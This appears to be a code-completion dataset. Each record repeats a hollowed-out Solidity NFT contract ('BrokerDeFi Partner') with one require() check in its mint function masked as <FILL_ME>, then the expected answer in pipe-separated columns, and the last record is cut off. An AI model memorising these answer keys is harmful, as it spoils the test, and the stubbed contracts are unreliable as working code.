abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
function owner() public view virtual returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _transferOwnership(address newOwner) internal virtual {
}
}
abstract contract ReentrancyGuard {
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
}
modifier nonReentrant() {
}
}
interface IBrokerDefiPriceConsumer {
function getPartnerPriceInEth() external view returns(uint);
}
contract BrokerDefiPartner is ERC721, Ownable, ReentrancyGuard {
uint public TOKEN_ID = 0; // starts from one
address public BROKER_DEFI_PRICE_CONSUMER = 0xd16e37A0D7EF673feFD6b6359E4108b31B710856;
uint public MAX_PER_TRX = 10;
uint public ALLOCATED_FOR_TEAM = 250;
uint public TEAM_COUNT;
bool public ESCROW_ALLOWED = true;
uint256 public MAX_SUPPLY = 2500; // max supply of nfts
bool public saleIsActive = true; // to control public sale
address payable public treasury = payable(0xA86B7feF6cD21ED65eD3D2AE55118cd436C58C66);
// Optional mapping for token URIs
mapping(uint256 => string) private _tokenURIs;
// mapping for tokenId to current escrow period if token is in escrow
mapping(uint256 => uint256) public escrowedAt;
// mapping for tokenId to total escrow period, doesn't include the escrow period
mapping(uint256 => uint256) public escrowPeriod;
// mapping for tokenIds to partner codes
mapping(uint256 => uint256) public partnerCodes;
// mapping for partner codes to partner code usage count
mapping(uint256 => uint256) public partnerCodesCount;
// mapping for partner codes to token ids
mapping(uint256 => uint256) public codeOwners;
// additional mapping for partner codes verification for easy one step code check
mapping(uint256 => bool) public partnerCodesVerification;
uint public PARTNER_COMMISSION = 20;
uint public PARTNER_DISCOUNT = 10;
string public baseTokenURI = "https://brokerdefi.io/api/v1/metadata-partner/";
constructor() ERC721("BrokerDeFi Partner", "BDPT") {}
function setPriceConsumer(address priceConsumer) public onlyOwner() {
}
function setPartnerCommission(uint commission) public onlyOwner() {
}
function setPartnerDiscount(uint discount) public onlyOwner() {
}
function allowEscrow(bool allow) public onlyOwner() {
}
function changeTreasuryAddress(address payable _newTreasuryAddress) public onlyOwner() {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner() {
}
// function to set a particular token uri manually if something incorrect in one of the metadata files
function setTokenURI(uint tokenID, string memory uri) public onlyOwner() {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function flipSaleState() public onlyOwner {
}
function setMaxPerTrx(uint maxPerTrx) public onlyOwner {
}
// code is actually just a six digit number and it will be public so people can distribute their code to others,
function setCode(uint tokenId) private {
}
function getTotalEscrowPeriod(uint tokenId) public view returns(uint) {
}
function escrow(uint tokenId) public {
}
function deEscrow(uint tokenId) public {
}
function getTokenPrice() public view returns (uint price) {
}
function publicMint(address to, uint amount, uint code) public payable nonReentrant {
require(amount > 0 && amount <= MAX_PER_TRX, "Invalid Amount");
require(saleIsActive && treasury != address(0), "Config not done yet");
require(<FILL_ME>)
uint nftPrice = getTokenPrice();
require(msg.value >= (nftPrice * amount), "Not enough balance");
if (code > 0) {
require(partnerCodesVerification[code], "Wrong code");
partnerCodesCount[code] += 1;
uint commission = (msg.value / 100) * PARTNER_COMMISSION;
uint discount = (msg.value / 100) * PARTNER_DISCOUNT;
address payable recruiter = payable(ERC721.ownerOf(codeOwners[code]));
recruiter.transfer(commission);
treasury.transfer(msg.value - (commission + discount));
address payable buyer = payable(msg.sender);
buyer.transfer(discount); // transferring discount back to buyer
} else {
treasury.transfer(msg.value);
}
uint[] memory tokenIds = new uint[](amount);
for (uint index = 0; index < amount; index++) {
TOKEN_ID += 1;
_safeMint(to, TOKEN_ID);
tokenIds[index] = TOKEN_ID;
setCode(TOKEN_ID);
}
}
// mass minting function, one for each address, for team
function massMint(address[] memory addresses) public onlyOwner() {
}
/**
@dev Block transfers while escrowing.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public override {
}
function safeTransferWhileEscrow(
address from,
address to,
uint256 tokenId
) public {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public override {
}
// additional burn function
function burn(uint256 tokenId) public {
}
// token ids function for view only, convenience function for frontend to fulfil the gap of erc721 enumerable
function ownerTokens() public view returns(uint[] memory) {
}
}
| (TOKEN_ID+amount)<=MAX_SUPPLY,"Mint exceeds limits" | 109,122 | (TOKEN_ID+amount)<=MAX_SUPPLY |
"Not enough balance" | // SPDX-License-Identifier: MIT
/**
* @title BrokerDefi Partner tokens
* author : saad sarwar
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
abstract contract ERC165 is IERC165 {
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
}
}
interface IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
function approve(address to, uint256 tokenId) external;
function getApproved(uint256 tokenId) external view returns (address operator);
function setApprovalForAll(address operator, bool _approved) external;
function isApprovedForAll(address owner, address operator) external view returns (bool);
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
interface IERC721Metadata is IERC721 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function tokenURI(uint256 tokenId) external view returns (string memory);
}
library Address {
function isContract(address account) internal view returns (bool) {
}
function sendValue(address payable recipient, uint256 amount) internal {
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
}
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
}
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
}
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
}
}
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
function toString(uint256 value) internal pure returns (string memory) {
}
function toHexString(uint256 value) internal pure returns (string memory) {
}
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
}
}
interface IERC721Receiver {
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
string private _name;
string private _symbol;
mapping(uint256 => address) private _owners;
mapping(address => uint256) private _balances;
mapping(uint256 => address) private _tokenApprovals;
mapping(address => mapping(address => bool)) private _operatorApprovals;
constructor(string memory name_, string memory symbol_) {
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
}
function balanceOf(address owner) public view virtual override returns (uint256) {
}
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function _baseURI() internal view virtual returns (string memory) {
}
function approve(address to, uint256 tokenId) public virtual override {
}
function getApproved(uint256 tokenId) public view virtual override returns (address) {
}
function setApprovalForAll(address operator, bool approved) public virtual override {
}
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
}
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
}
function _exists(uint256 tokenId) internal view virtual returns (bool) {
}
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
}
function _safeMint(address to, uint256 tokenId) internal virtual {
}
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
}
function _mint(address to, uint256 tokenId) internal virtual {
}
function _burn(uint256 tokenId) internal virtual {
}
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
}
function _approve(address to, uint256 tokenId) internal virtual {
}
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
}
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
function owner() public view virtual returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _transferOwnership(address newOwner) internal virtual {
}
}
abstract contract ReentrancyGuard {
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
}
modifier nonReentrant() {
}
}
interface IBrokerDefiPriceConsumer {
function getPartnerPriceInEth() external view returns(uint);
}
contract BrokerDefiPartner is ERC721, Ownable, ReentrancyGuard {
uint public TOKEN_ID = 0; // starts from one
address public BROKER_DEFI_PRICE_CONSUMER = 0xd16e37A0D7EF673feFD6b6359E4108b31B710856;
uint public MAX_PER_TRX = 10;
uint public ALLOCATED_FOR_TEAM = 250;
uint public TEAM_COUNT;
bool public ESCROW_ALLOWED = true;
uint256 public MAX_SUPPLY = 2500; // max supply of nfts
bool public saleIsActive = true; // to control public sale
address payable public treasury = payable(0xA86B7feF6cD21ED65eD3D2AE55118cd436C58C66);
// Optional mapping for token URIs
mapping(uint256 => string) private _tokenURIs;
// mapping for tokenId to current escrow period if token is in escrow
mapping(uint256 => uint256) public escrowedAt;
// mapping for tokenId to total escrow period, doesn't include the escrow period
mapping(uint256 => uint256) public escrowPeriod;
// mapping for tokenIds to partner codes
mapping(uint256 => uint256) public partnerCodes;
// mapping for partner codes to partner code usage count
mapping(uint256 => uint256) public partnerCodesCount;
// mapping for partner codes to token ids
mapping(uint256 => uint256) public codeOwners;
// additional mapping for partner codes verification for easy one step code check
mapping(uint256 => bool) public partnerCodesVerification;
uint public PARTNER_COMMISSION = 20;
uint public PARTNER_DISCOUNT = 10;
string public baseTokenURI = "https://brokerdefi.io/api/v1/metadata-partner/";
constructor() ERC721("BrokerDeFi Partner", "BDPT") {}
function setPriceConsumer(address priceConsumer) public onlyOwner() {
}
function setPartnerCommission(uint commission) public onlyOwner() {
}
function setPartnerDiscount(uint discount) public onlyOwner() {
}
function allowEscrow(bool allow) public onlyOwner() {
}
function changeTreasuryAddress(address payable _newTreasuryAddress) public onlyOwner() {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner() {
}
// function to set a particular token uri manually if something incorrect in one of the metadata files
function setTokenURI(uint tokenID, string memory uri) public onlyOwner() {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function flipSaleState() public onlyOwner {
}
function setMaxPerTrx(uint maxPerTrx) public onlyOwner {
}
// code is actually just a six digit number and it will be public so people can distribute their code to others,
function setCode(uint tokenId) private {
}
function getTotalEscrowPeriod(uint tokenId) public view returns(uint) {
}
function escrow(uint tokenId) public {
}
function deEscrow(uint tokenId) public {
}
function getTokenPrice() public view returns (uint price) {
}
function publicMint(address to, uint amount, uint code) public payable nonReentrant {
require(amount > 0 && amount <= MAX_PER_TRX, "Invalid Amount");
require(saleIsActive && treasury != address(0), "Config not done yet");
require((TOKEN_ID + amount) <= MAX_SUPPLY, "Mint exceeds limits");
uint nftPrice = getTokenPrice();
require(<FILL_ME>)
if (code > 0) {
require(partnerCodesVerification[code], "Wrong code");
partnerCodesCount[code] += 1;
uint commission = (msg.value / 100) * PARTNER_COMMISSION;
uint discount = (msg.value / 100) * PARTNER_DISCOUNT;
address payable recruiter = payable(ERC721.ownerOf(codeOwners[code]));
recruiter.transfer(commission);
treasury.transfer(msg.value - (commission + discount));
address payable buyer = payable(msg.sender);
buyer.transfer(discount); // transferring discount back to buyer
} else {
treasury.transfer(msg.value);
}
uint[] memory tokenIds = new uint[](amount);
for (uint index = 0; index < amount; index++) {
TOKEN_ID += 1;
_safeMint(to, TOKEN_ID);
tokenIds[index] = TOKEN_ID;
setCode(TOKEN_ID);
}
}
// mass minting function, one for each address, for team
function massMint(address[] memory addresses) public onlyOwner() {
}
/**
@dev Block transfers while escrowing.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public override {
}
function safeTransferWhileEscrow(
address from,
address to,
uint256 tokenId
) public {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public override {
}
// additional burn function
function burn(uint256 tokenId) public {
}
// token ids function for view only, convenience function for frontend to fulfil the gap of erc721 enumerable
function ownerTokens() public view returns(uint[] memory) {
}
}
| msg.value>=(nftPrice*amount),"Not enough balance" | 109,122 | msg.value>=(nftPrice*amount) |
"Wrong code" | // SPDX-License-Identifier: MIT
/**
* @title BrokerDefi Partner tokens
* author : saad sarwar
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
abstract contract ERC165 is IERC165 {
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
}
}
interface IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
function approve(address to, uint256 tokenId) external;
function getApproved(uint256 tokenId) external view returns (address operator);
function setApprovalForAll(address operator, bool _approved) external;
function isApprovedForAll(address owner, address operator) external view returns (bool);
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
interface IERC721Metadata is IERC721 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function tokenURI(uint256 tokenId) external view returns (string memory);
}
library Address {
function isContract(address account) internal view returns (bool) {
}
function sendValue(address payable recipient, uint256 amount) internal {
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
}
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
}
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
}
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
}
}
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
function toString(uint256 value) internal pure returns (string memory) {
}
function toHexString(uint256 value) internal pure returns (string memory) {
}
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
}
}
interface IERC721Receiver {
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
string private _name;
string private _symbol;
mapping(uint256 => address) private _owners;
mapping(address => uint256) private _balances;
mapping(uint256 => address) private _tokenApprovals;
mapping(address => mapping(address => bool)) private _operatorApprovals;
constructor(string memory name_, string memory symbol_) {
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
}
function balanceOf(address owner) public view virtual override returns (uint256) {
}
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function _baseURI() internal view virtual returns (string memory) {
}
function approve(address to, uint256 tokenId) public virtual override {
}
function getApproved(uint256 tokenId) public view virtual override returns (address) {
}
function setApprovalForAll(address operator, bool approved) public virtual override {
}
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
}
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
}
function _exists(uint256 tokenId) internal view virtual returns (bool) {
}
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
}
function _safeMint(address to, uint256 tokenId) internal virtual {
}
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
}
function _mint(address to, uint256 tokenId) internal virtual {
}
function _burn(uint256 tokenId) internal virtual {
}
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
}
function _approve(address to, uint256 tokenId) internal virtual {
}
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
}
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
function owner() public view virtual returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _transferOwnership(address newOwner) internal virtual {
}
}
abstract contract ReentrancyGuard {
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
}
modifier nonReentrant() {
}
}
interface IBrokerDefiPriceConsumer {
function getPartnerPriceInEth() external view returns(uint);
}
contract BrokerDefiPartner is ERC721, Ownable, ReentrancyGuard {
uint public TOKEN_ID = 0; // starts from one
address public BROKER_DEFI_PRICE_CONSUMER = 0xd16e37A0D7EF673feFD6b6359E4108b31B710856;
uint public MAX_PER_TRX = 10;
uint public ALLOCATED_FOR_TEAM = 250;
uint public TEAM_COUNT;
bool public ESCROW_ALLOWED = true;
uint256 public MAX_SUPPLY = 2500; // max supply of nfts
bool public saleIsActive = true; // to control public sale
address payable public treasury = payable(0xA86B7feF6cD21ED65eD3D2AE55118cd436C58C66);
// Optional mapping for token URIs
mapping(uint256 => string) private _tokenURIs;
// mapping for tokenId to current escrow period if token is in escrow
mapping(uint256 => uint256) public escrowedAt;
// mapping for tokenId to total escrow period, doesn't include the escrow period
mapping(uint256 => uint256) public escrowPeriod;
// mapping for tokenIds to partner codes
mapping(uint256 => uint256) public partnerCodes;
// mapping for partner codes to partner code usage count
mapping(uint256 => uint256) public partnerCodesCount;
// mapping for partner codes to token ids
mapping(uint256 => uint256) public codeOwners;
// additional mapping for partner codes verification for easy one step code check
mapping(uint256 => bool) public partnerCodesVerification;
uint public PARTNER_COMMISSION = 20;
uint public PARTNER_DISCOUNT = 10;
string public baseTokenURI = "https://brokerdefi.io/api/v1/metadata-partner/";
constructor() ERC721("BrokerDeFi Partner", "BDPT") {}
function setPriceConsumer(address priceConsumer) public onlyOwner() {
}
function setPartnerCommission(uint commission) public onlyOwner() {
}
function setPartnerDiscount(uint discount) public onlyOwner() {
}
function allowEscrow(bool allow) public onlyOwner() {
}
function changeTreasuryAddress(address payable _newTreasuryAddress) public onlyOwner() {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner() {
}
// function to set a particular token uri manually if something incorrect in one of the metadata files
function setTokenURI(uint tokenID, string memory uri) public onlyOwner() {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function flipSaleState() public onlyOwner {
}
function setMaxPerTrx(uint maxPerTrx) public onlyOwner {
}
// code is actually just a six digit number and it will be public so people can distribute their code to others,
function setCode(uint tokenId) private {
}
function getTotalEscrowPeriod(uint tokenId) public view returns(uint) {
}
function escrow(uint tokenId) public {
}
function deEscrow(uint tokenId) public {
}
function getTokenPrice() public view returns (uint price) {
}
function publicMint(address to, uint amount, uint code) public payable nonReentrant {
require(amount > 0 && amount <= MAX_PER_TRX, "Invalid Amount");
require(saleIsActive && treasury != address(0), "Config not done yet");
require((TOKEN_ID + amount) <= MAX_SUPPLY, "Mint exceeds limits");
uint nftPrice = getTokenPrice();
require(msg.value >= (nftPrice * amount), "Not enough balance");
if (code > 0) {
require(<FILL_ME>)
partnerCodesCount[code] += 1;
uint commission = (msg.value / 100) * PARTNER_COMMISSION;
uint discount = (msg.value / 100) * PARTNER_DISCOUNT;
address payable recruiter = payable(ERC721.ownerOf(codeOwners[code]));
recruiter.transfer(commission);
treasury.transfer(msg.value - (commission + discount));
address payable buyer = payable(msg.sender);
buyer.transfer(discount); // transferring discount back to buyer
} else {
treasury.transfer(msg.value);
}
uint[] memory tokenIds = new uint[](amount);
for (uint index = 0; index < amount; index++) {
TOKEN_ID += 1;
_safeMint(to, TOKEN_ID);
tokenIds[index] = TOKEN_ID;
setCode(TOKEN_ID);
}
}
// mass minting function, one for each address, for team
function massMint(address[] memory addresses) public onlyOwner() {
}
/**
@dev Block transfers while escrowing.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public override {
}
function safeTransferWhileEscrow(
address from,
address to,
uint256 tokenId
) public {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public override {
}
// additional burn function
function burn(uint256 tokenId) public {
}
// token ids function for view only, convenience function for frontend to fulfil the gap of erc721 enumerable
function ownerTokens() public view returns(uint[] memory) {
}
}
| partnerCodesVerification[code],"Wrong code" | 109,122 | partnerCodesVerification[code] |
"ERC721: transfer caller is not owner nor approved" | // SPDX-License-Identifier: MIT
/**
* @title BrokerDefi Partner tokens
* author : saad sarwar
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
abstract contract ERC165 is IERC165 {
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
}
}
interface IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
function approve(address to, uint256 tokenId) external;
function getApproved(uint256 tokenId) external view returns (address operator);
function setApprovalForAll(address operator, bool _approved) external;
function isApprovedForAll(address owner, address operator) external view returns (bool);
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
interface IERC721Metadata is IERC721 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function tokenURI(uint256 tokenId) external view returns (string memory);
}
library Address {
function isContract(address account) internal view returns (bool) {
}
function sendValue(address payable recipient, uint256 amount) internal {
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
}
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
}
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
}
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
}
}
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
function toString(uint256 value) internal pure returns (string memory) {
}
function toHexString(uint256 value) internal pure returns (string memory) {
}
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
}
}
interface IERC721Receiver {
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
string private _name;
string private _symbol;
mapping(uint256 => address) private _owners;
mapping(address => uint256) private _balances;
mapping(uint256 => address) private _tokenApprovals;
mapping(address => mapping(address => bool)) private _operatorApprovals;
constructor(string memory name_, string memory symbol_) {
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
}
function balanceOf(address owner) public view virtual override returns (uint256) {
}
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function _baseURI() internal view virtual returns (string memory) {
}
function approve(address to, uint256 tokenId) public virtual override {
}
function getApproved(uint256 tokenId) public view virtual override returns (address) {
}
function setApprovalForAll(address operator, bool approved) public virtual override {
}
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
}
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
}
function _exists(uint256 tokenId) internal view virtual returns (bool) {
}
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
}
function _safeMint(address to, uint256 tokenId) internal virtual {
}
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
}
function _mint(address to, uint256 tokenId) internal virtual {
}
function _burn(uint256 tokenId) internal virtual {
}
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
}
function _approve(address to, uint256 tokenId) internal virtual {
}
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
}
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
function owner() public view virtual returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _transferOwnership(address newOwner) internal virtual {
}
}
abstract contract ReentrancyGuard {
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
}
modifier nonReentrant() {
}
}
interface IBrokerDefiPriceConsumer {
function getPartnerPriceInEth() external view returns(uint);
}
contract BrokerDefiPartner is ERC721, Ownable, ReentrancyGuard {
uint public TOKEN_ID = 0; // starts from one
address public BROKER_DEFI_PRICE_CONSUMER = 0xd16e37A0D7EF673feFD6b6359E4108b31B710856;
uint public MAX_PER_TRX = 10;
uint public ALLOCATED_FOR_TEAM = 250;
uint public TEAM_COUNT;
bool public ESCROW_ALLOWED = true;
uint256 public MAX_SUPPLY = 2500; // max supply of nfts
bool public saleIsActive = true; // to control public sale
address payable public treasury = payable(0xA86B7feF6cD21ED65eD3D2AE55118cd436C58C66);
// Optional mapping for token URIs
mapping(uint256 => string) private _tokenURIs;
// mapping for tokenId to current escrow period if token is in escrow
mapping(uint256 => uint256) public escrowedAt;
// mapping for tokenId to total escrow period, doesn't include the escrow period
mapping(uint256 => uint256) public escrowPeriod;
// mapping for tokenIds to partner codes
mapping(uint256 => uint256) public partnerCodes;
// mapping for partner codes to partner code usage count
mapping(uint256 => uint256) public partnerCodesCount;
// mapping for partner codes to token ids
mapping(uint256 => uint256) public codeOwners;
// additional mapping for partner codes verification for easy one step code check
mapping(uint256 => bool) public partnerCodesVerification;
uint public PARTNER_COMMISSION = 20;
uint public PARTNER_DISCOUNT = 10;
string public baseTokenURI = "https://brokerdefi.io/api/v1/metadata-partner/";
constructor() ERC721("BrokerDeFi Partner", "BDPT") {}
function setPriceConsumer(address priceConsumer) public onlyOwner() {
}
function setPartnerCommission(uint commission) public onlyOwner() {
}
function setPartnerDiscount(uint discount) public onlyOwner() {
}
